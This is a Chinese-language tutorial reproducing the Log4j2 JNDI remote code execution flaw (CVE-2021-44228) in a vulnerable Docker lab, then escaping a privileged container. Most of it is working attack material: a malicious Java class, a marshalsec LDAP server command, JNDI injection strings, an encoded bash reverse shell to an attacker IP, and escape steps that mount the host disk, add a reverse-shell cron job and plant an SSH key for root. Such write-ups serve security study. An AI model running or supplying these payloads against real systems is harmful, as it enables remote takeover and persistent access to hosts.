CVE 2021-44228 Log4j-2漏洞分析及docker逃逸
漏洞原理
Apache Log4j2是一个基于Java的日志记录框架,在2.15.0版本之前存在rce漏洞,该漏洞主要是由于日志在打印时当遇到“${”后,以“:”号作为分割,将表达式内容分割成两部分,前缀对应lookup实例所调用的jndi方法,而后缀对应的是参数值key,也就是所要执行的内容,从而造成攻击者通过利用log4j2记录日志的功能点,将${jndi:rmi://xxxx}攻击代码带入到日志中解析并在打印日志时触发lookup实例中jndi方法解析代码,从而加载远程的恶意类文件造成的远程代码执行!
漏洞分析
漏洞点
LogManager.getLogger().error()
LogManager.getLogger().fatal()
设为true 可以在高版本jdk触发漏洞。
com.sun.jndi.rmi.object.trustURLCodebase
error级别的更容易触发,如果不打印info级别信息,则info级别不能触发漏洞。所以优先用error触发。
logger.info("${jndi:ldap://xxx.dnslog.cn}");
推荐文章:
https://www.cnblogs.com/forforever/p/15703000.html
环境配置
IDJ新建maven项目,在pom.xml文件中引入log4j2 2.14.1版本依赖包:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
测试案例:
1.对应Java环境进行编译POC
import java.io.IOException;
public class Log4j2Poc {
public Log4j2Poc() {
//start calc
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
jdk-1.8\bin>javac E:\tools\java\Log4j2Poc.java
2.将恶意class文件放在web服务上
http_server>python -m http.server 8686
3.加载远程协议
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.39.79:8686/#Log4j2Poc" 9999
开启ldap远程加载协议------正在加载远程class文件------监听本地9999端口
Listening on 0.0.0.0:9999
4.运行测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
public static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args){
//因为在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://192.168.39.79:9999/Log4j2Poc}"); //注意区分大小写
}
}
漏洞环境
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j2 registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
bash /home/apache-tomcat-8.5.45/bin/startup.sh
漏洞复现
poc验证
dnslog
获取会话
加载ldap远程协议
whoami测试
bash反弹
构造数据包发送
注意:在构造payload,将要执行的命令进行base64编码(注意需要将base64加密后的"+"号进行url编码 ,burpsuite中需要双重url编码,否则"+"号会被当成空格解析掉,导致命令执行不成功)
payload:bash -i >& /dev/tcp/192.168.13.145/6666 0>&1
base64:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzLjE0NS82NjY2IDA+JjE=
双重url编码:YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjEzLjE0NS82NjY2IDA%252BJjE%253D
POC:
c=${jndi:ldap://192.168.13.145:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjEzLjE0NS82NjY2IDA%252BJjE%253D}
监听反弹端口6666
docker逃逸
利用docker特权模式进行逃逸
特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。
信息收集发现为docker环境
判断是否是特权模式启动
如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
cat /proc/self/status |grep Cap
查看系统磁盘分区情况
将宿主机所在磁盘挂载到新建的目录中
利用挂在的宿主机目录设置cron计划任务反弹shell或ssh公钥免密连接
cron计划任务反弹shell
touch /sec/herimt.sh
echo "bash -i >& /dev/tcp/192.168.13.145/5667 0>&1" >/sec/herimt.sh
echo "* * * * * root bash /herimt.sh" >> /sec/etc/crontab
cat /sec/etc/crontab
nc监听反弹的会话
ssh公钥免密连接
ssh-keygen -t rsa
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
mkdir /sec/root/.ssh/
echo 'ssh-rsa xxxxxxx' >/sec/root/.ssh/authorized_keys